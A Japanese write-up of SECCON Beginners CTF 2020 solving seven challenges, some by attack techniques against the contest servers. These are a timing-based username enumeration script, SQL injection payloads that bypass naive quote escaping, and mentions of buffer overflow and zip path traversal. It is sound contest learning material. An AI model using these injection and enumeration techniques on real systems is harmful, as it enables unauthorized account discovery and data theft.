SECCON Beginners CTF 2020 writeup!

去年に引き続き、SECCON Beginners CTF 2020に参加しました。
１週間経ってしまいましたが、writeupを残します。
今年から問題の難易度分けがされていた(Beginner/Easy/Medium/Hard)ようなので、その難易度とカテゴリを章タイトルに含めています。

# 結果
![result1.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/0047a048-2a61-eed9-2759-8bbc6f95f1cf.png)
ぼっち参加で、Welcome含め7問解きました。578pts/165thです。
以下、解けた問題について書きます。

# Welcome [Misc][Beginner]
## 問題
``` :問題文
Welcome to SECCON Beginners CTF 2020!

フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。
```

## 解答
今年はアナウンスがDiscordで行われていました。

``` :flag
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
```

# Spy [Web][Beginner]
## 問題

``` :問題
As a spy, you are spying on the "ctf4b company".
You got the name-list of employees and the URL to the in-house web tool used by some of them.
Your task is to enumerate the employees who use this tool in order to make it available for social engineering.

app.py
employees.txt
```

`app.py`にはサーバで動作しているプログラムが、`employees.txt`には従業員名リストが記載されています。
リストにある従業員のうち、web toolにアカウントを持っているのは誰かを当てる問題です。

## 解答

webtoolにはログインフォーム（と解答用のチェックボックス）がありました。
ログインフォーム部分のソースを眺めてみると、いかにもヒントっぽい文章があります。

``` python:app.py(抜粋)
        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
```

`auth.calc_password_hash()`の中身は与えられていませんが、中でハッシュ値の計算を何回もやってる、と。
このメソッドを実行するのは存在するユーザ名を入力した時だけなので、time baseでどのユーザ名が存在するか絞れそうです。

ということで以下のプログラムを実行しました。

<details><summary>プログラム</summary><div>

``` python:spy.py
import requests
import time

with open("spy/employees.txt", "r") as f:
    names = f.readlines()

for name in names:
    res = requests.post("https://spy.quals.beginners.seccon.jp/", data={"name": name.replace("\n", ""), "password": "aaa"})
    # res.elapsed.total_seconds() でリクエストを投げてからレスポンスが来るまでの時間を取得することができます
    print(f"{name}\t{res.elapsed.total_seconds()}")
    time.sleep(1)
```
</div></details>

<details><summary>実行結果</summary><div>

``` :実行結果
# 1回目
Arthur
        0.463981
Barbara
        0.322457
Christine
        0.336144
David
        0.316962
Elbert
        0.778635
Franklin
        0.352202
George
        0.748759
Harris
        0.351095
Ivan
        0.306774
Jane
        0.342613
Kevin
        0.37561
Lazarus
        0.687484
Marc
        1.010536
Nathan
        0.308334
Oliver
        0.387014
Paul
        0.319418
Quentin
        0.263524
Randolph
        0.287061
Scott
        0.325723
Tony
        0.609152
Ulysses
        0.287524
Vincent
        0.318695
Wat
        0.516639
Ximena
        0.992983
Yvonne
        0.583938
Zalmon  0.317047
----------------------------
# ２回目
Arthur
        0.339514
Barbara
        0.373505
Christine
        0.322952
David
        0.289035
Elbert
        0.887787
Franklin
        0.348394
George
        0.739493
Harris
        0.372608
Ivan
        0.436093
Jane
        0.296183
Kevin
        0.356206
Lazarus
        0.668086
Marc
        0.830005
Nathan
        0.29933
Oliver
        0.429959
Paul
        0.275024
Quentin
        0.281638
Randolph
        0.324527
Scott
        0.759424
Tony
        1.315716
Ulysses
        0.454661
Vincent
        0.4579
Wat
        0.322795
Ximena
        0.98959
Yvonne
        0.727903
Zalmon  0.297842
```
</div></details>

１回だと微妙な数値もあったので2回実行しました。
(ちなみにこの問題、submitするとサーバ内での実行時間をサイトのフッタに出力してくれていました。……が、解答時はそれに全く気が付かなかったので`requests`のメソッドを用いて取得しています。)
特に時間が長そうなのは頭文字`E, G, L, M, T, X, Y`の7人だったので、これを解答用のページで入力してflagをもらいました。

``` :flag
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
```

# Tweetstore [Web][Easy]

## 問題

``` :問題文
Search your flag!

Server: https://tweetstore.quals.beginners.seccon.jp/

File: https://score.beginners.seccon.jp/files/tweetstore.zip-ba4fce11c55ef57568fbca33f73c5ce022cad1c2
```
ctf4b運営twitterアカウントのURL、内容、ツイート日時の3つを表で見ることができるwebページがあり、検索用のフォームと日時指定用のフォームが存在します。
また、Spyと同様にサーバで動いているプログラムが用意されています。先ほどはpythonのflaskでしたが、こっちはGoLangでした。Go勉強したい。

## 解答

いかにもSQLiですね。とりあえずプログラムの中身を見ると、以下のことが読み取れました。

``` go:webserver.go(抜粋)
// 省略
// SQL文を組み立てている部分
	var sql = "select url, text, tweeted_at from tweets"

	search, ok := r.URL.Query()["search"]
	if ok {
		sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
	}

	sql += " order by tweeted_at desc"

	limit, ok := r.URL.Query()["limit"]
	if ok && (limit[0] != "") {
		sql += " limit " + strings.Split(limit[0], ";")[0]
	}

// 省略
// DB関連設定部分
	dbname := "ctf"
	dbuser := os.Getenv("FLAG")
	dbpass := "password"

// 省略
```

- postgresqlで実行していること
- フォーム内容はprepared statementsでなくそのまま文字列結合してSELECTしていること
- `'`は`\'`に置換していること
- DB操作を実行しているユーザ名がflagであること

置換は単純な置換なので、エスケープをさらにエスケープしてやればよさそうです。
試しに`a\' --`を入力すると、内部的には`a\\' --`となりエラーが発生しないことが分かりました。
また、postgresqlは`current_user`で実行ユーザ名が取得できるようです。
そこで、以下のクエリを検索フォームに入力しました。

``` :query
a\' union select current_user, current_user, current_user -- 
```
……が、エラー。列数もあっているはず……？ともう一度プログラムソースを見てみると、どうもSELECTの結果を`string, string, time.time`の変数に代入しているようです。

``` go:webserver.go(抜粋)
	for rows.Next() {
		var text string
		var url string
		var tweeted_at time.Time

		err := rows.Scan(&url, &text, &tweeted_at)
		if err != nil {
			log.Fatal(err)
		}
		data = append(data, Tweets{url, text, tweeted_at})
	}
```
ということで、３列目を適当に時間が出力されそうな値に変更するとユーザ名が出力されました。

``` query
a\' union select current_user, current_user, pg_conf_load_time() -- 
```

``` flag
ctf4b{is_postgres_your_friend?}
```
<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">Tweetstoreを作問しました．気づいている方もいるかもしれませんが，search paramでSQLiできるのは作問ミスです．limit句以降にあるSQLiで，ascii(substr((select user), 1, 1));-- のようなペイロードを使って表示件数から1文字ずつフラグを特定する，というのが想定解法でした．</p>&mdash; ゆ。 (@ytn86) <a href="https://twitter.com/ytn86/status/1264430185195073536?ref_src=twsrc%5Etfw">May 24, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
ちなみに、上記ツイートの通り検索フォーム側でSQLiできるのは作問ミスだそうで、想定解はもうひとつのフォーム側でSQLiするものだったようです。この問題に取り掛かるのが早かったからか4番目くらいに解けて小躍りしてたのですが、想定解のみだと解くのにもっと時間がかかってそうですね……。

## 参考文献
https://www.sraoss.co.jp/PostgreSQL/Manual/document/9.5/functions-info.html


# R&B [Crypto][beginner]
## 問題

``` 問題文
Do you like rhythm and blues?

r_and_b.zip
```
<details><summary>r_and_b.zipの中身</summary><div>

``` python:problem.py
from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)
```

``` :encode_flag
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
```
</div></details>

## 解答
`problem.py`を読むと、`ROT13`と`base64`を何度か繰り返しているようです。
どちらでエンコードしているかは頭文字が`R`か`B`かで分かるように作られているので、それに従ってデコード用のプログラムを書きました。

<details><summary>プログラム</summary><div>

``` python:decode.py
import base64
import codecs

encoded = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="

while True:
    if encoded[0] == "B":
        encoded = base64.b64decode(encoded[1:]).decode()
    else:
        encoded = codecs.decode(encoded[1:], "rot13")
    input(encoded)
```
デコード結果を`input()`で出力しているので、エンターを押すごとにデコード結果が出力されていくようにしています。
</div></details>

<details><summary>結果</summary><div>

```
> python encode.py
BUk9IeDlWclF5RnB4dTVySEU0cUdJbEZSeVZvd09hSTB1NHJLSVJGVEFHRTFXU0FITVZIMXFsSEh1ZUV5RGtFMjl1R3pnV1p4eWVGVXFXSDBNWEgwQVdyUVNLcFJ1S24zV0VHMk1TWjNJWXBLeXdJeGpscEljbEhheWJFR1NPSDBNVkZHTVZaUjFoSmFjYXJScUhIM3FScndIMUZRT2FIUk1WSDJ1aVpUcGtGSHUxTTBxNk0xV2xGMUE1RTB5R0kwcVdMbUFrRTAxTEVHTjVGVU9ZcklxQVpUQTFFUnVXblNiakFKSVRIYXlLRElXQUF4RVdJMXFTb0g0NQ==
ROHx9VrQyFpxu5rHE4qGIlFRyVowOaI0u4rKIRFTAGE1WSAHMVH1qlHHueEyDkE29uGzgWZxyeFUqWH0MXH0AWrQSKpRuKn3WEG2MSZ3IYpKywIxjlpIclHaybEGSOH0MVFGMVZR1hJacarRqHH3qRrwH1FQOaHRMVH2uiZTpkFHu1M0q6M1WlF1A5E0yGI0qWLmAkE01LEGN5FUOYrIqAZTA1ERuWnSbjAJITHayKDIWAAxEWI1qSoH45
(略)
ROHaOapmEir2IvM19iozMlK2IvM19iozMlK2IvM19iozMlK29hMaW9
BUnBnczRve2ViZ19vbmZyX2ViZ19vbmZyX2ViZ19vbmZyX29uZnJ9
Rpgs4o{ebg_onfr_ebg_onfr_ebg_onfr_onfr}
ctf4b{rot_base_rot_base_rot_base_base}
```
</div></details>

``` flag
ctf4b{rot_base_rot_base_rot_base_base}
```

# mask [Reversing][beginner]
## 問題

``` 問題文
The price of mask goes down. So does the point (it's easy)!

(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)
```

ここでは`mask`というファイルがダウンロードできます。elfファイルなので、実行権限をつけて実行するとこんな感じ。

``` :実行
$ chmod +x ./mask
$ ./mask
Usage: ./mask [FLAG]
$ ./mask testtest
Putting on masks...
teqtteqt
`ac``ac`
Wrong FLAG. Try again.
```
1文字1文字を何らかの方法で変換しているようです。

## 解答
とりあえずIDAにかけてみると、プログラム内で以下の文字列と比較していることが分かります。

```
1回目
atd4`qdedtUpetepqeUdaaeUeaqau
2回目
c`b bk`kj`KbababcaKbacaKiacki
```
（※ここからゴリ押しで解いてます）
おそらく上記の文字列が変換後のflagなので、引数にa-zと0-9を入れて対応表を作って解きました。

```
$ ./mask abcdefghijklmnopqrstuvwxyz1234567890
Putting on masks...
a`adede`a`adedepqpqtutupqp1014545010
abc`abchijkhijk`abc`abchij!"# !"#() 
Wrong FLAG. Try again.

↓よって

atd4`qdedtUpetepqeUdaaeUeaqau
c`b bk`kj`KbababcaKbacaKiacki
は
ctf4b{dont_reverse_face_mask}
```

``` :flag
ctf4b{dont_reverse_face_mask}
```

# emoemoencode [Misc][beginner]
## 問題文
``` :問題文
Do you know emo-emo-encode?

emoemoencode.txt
```

``` :emoemoencode.txt
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
```

## 解答
絵文字の暗号？を復号する問題のようです。
最初は問題名そのものの暗号かなにかがあるのかと思ってググったりしてたので、結構時間を食ってしまいました。
結局、おそらくflag文字列と1:1対応で文字コードをずらしているのだろう……と思いつきました。その通りにプログラムを書くと、無事合っていたようでflagを獲得することができました。

``` python:answer.py
emojis = "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽"

# 最初の5文字は多分"ctf4b"だよね！ってことで
num = ord(emojis[0]) - ord("c")

result = ""
for emoji in emojis:
    unicode = ord(emoji)
    result += chr(unicode - num)

print(result)
```

``` :flag
ctf4b{stegan0graphy_by_em000000ji}
```

# yakisoba [Reversing][easy]
## 問題文

``` :問題文
Would you like to have a yakisoba code?

(Hint: You'd better automate your analysis)
```
`yakisoba`というファイルをダウンロードできます。elfファイルのようです。

## 解答
問題文に「分析を自動化しろ」みたいなヒントがあります。
ということで、以前別のwriteupで見かけた`angr`を使ってみることにしました。`angr`はリバースエンジニアリングのためのpythonライブラリで、条件を与えてやることでフラグを自動で探してくれます。
ここでは「flagを出力するアドレスを通り、"Wrong!"を出力するアドレスを通らないこと」を条件として設定しました。
このアドレスはIDAを開いて該当の行にカーソルを合わせることで分かります。
最初、とりあえず使ってみようと思ってインタプリタで実行してみたら通ってしまったので、そのままログを貼っておきます。

``` shell:pythonインタプリタ
$ python
Python 3.8.3rc1 (default, Apr 30 2020, 07:33:30) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import angr
>>> p = angr.Project("./yakisoba")
WARNING | 2020-05-24 09:03:36,475 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
>>> state = p.factory.entry_state()
>>> simgr = p.factory.simgr(state)
>>> simgr.explore(find=0x4006d9, avoid=0x407000)
<SimulationManager with 23 active, 159 deadended, 1 found>
>>> simgr.found[0].posix.dumps(0)
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\xd9\xd9\xd9\xd9'
```
ほぼ参考サイトのコピペなので、ちゃんと使い方を勉強しておきたいです……。

``` flag
ctf4b{sp4gh3tt1_r1pp3r1n0}
```
## 参考文献
http://saotake.hatenablog.com/entry/2016/06/03/213100
https://imurasheen.hatenablog.com/entry/2019/07/19/032549
http://www.intellilink.co.jp/article/column/ctf01.html

# 所感
しばらくCTFに触れていなかったこともあり、思ったより解けなかったなあ……という感じです。とはいえ、[去年](https://qiita.com/sa_s/items/f2052b1509ef5b462b3f)に比べると1問増えたのでそこは良かったかな、と。

あと、[beginner]タグの問題がすべては解けなかったのがとても悔しいです。唯一解けなかった`beginners stack`ですが、バッファオーバーフローによって`congratulations!`を出力させることまでは出来ていました。ただ、そのあと使えるようになるはずのシェルが使えない……というところで延々と詰まってました。
`python -c 'print 云々' | nc サーバ`でやってたのですが、[作問者さんの解説](https://ptr-yudai.hatenablog.com/entry/2020/05/24/174914#Pwn-134pts-Beginners-Stack-167-solves)によるとその方法ではシェルがすぐに閉じられてしまう？みたいですね。勉強します……。

`unzip`も解こうとして解けなかった問題のひとつです。`/flag.txt`にflagがあることから、アップロードするzipファイルに何らかの形で`../../flag.txt`という名前のファイルを含めることができたらいけそうなことまでは分かりました。こちらはzipファイル作成後にバイナリをいじってファイル名を変えてやればいいそうですが、これは自力で思いつきたかったです。

今回も楽しかったです！来年は[easy]タグ制覇したいです。勉強します（n回目）。